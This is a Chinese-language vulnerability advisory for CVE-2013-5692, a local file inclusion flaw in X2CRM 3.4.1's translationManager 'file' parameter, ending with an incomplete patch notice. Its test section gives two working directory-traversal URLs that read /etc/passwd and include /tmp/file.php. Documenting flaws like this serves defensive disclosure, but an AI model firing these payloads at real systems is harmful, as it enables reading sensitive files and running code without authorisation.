linux本地文件包含,X2CRM 'file'本地文件包含漏洞

发布日期：2013-09-25

更新日期：2013-09-26

受影响系统：

x2engine X2CRM 3.4.1

描述：

--------------------------------------------------------------------------------

BUGTRAQ  ID: 62633

CVE(CAN) ID: CVE-2013-5692

X2CRM是开源的销售、营销自动化和服务应用。

X2CRM 3.4.1没有正确过滤传递到"/index.php/admin/translationManager" URL的"file" HTTP GET参数值，即用在PHP "include()"函数内。远程经过身份验证的攻击者可使用目录穿越序列，在目标系统上包含并执行任意本地PHP文件。

链接：http://www.exploit-db.com/exploits/28557/

*>

测试方法：

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/index.php/admin/translationManager?file=../../../../../etc/passwd

http://www.example.com/index.php/admin/translationManager?file=../../../../../tmp/file.php

建议：

--------------------------------------------------------------------------------

厂商补丁：

x2engine

--------

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：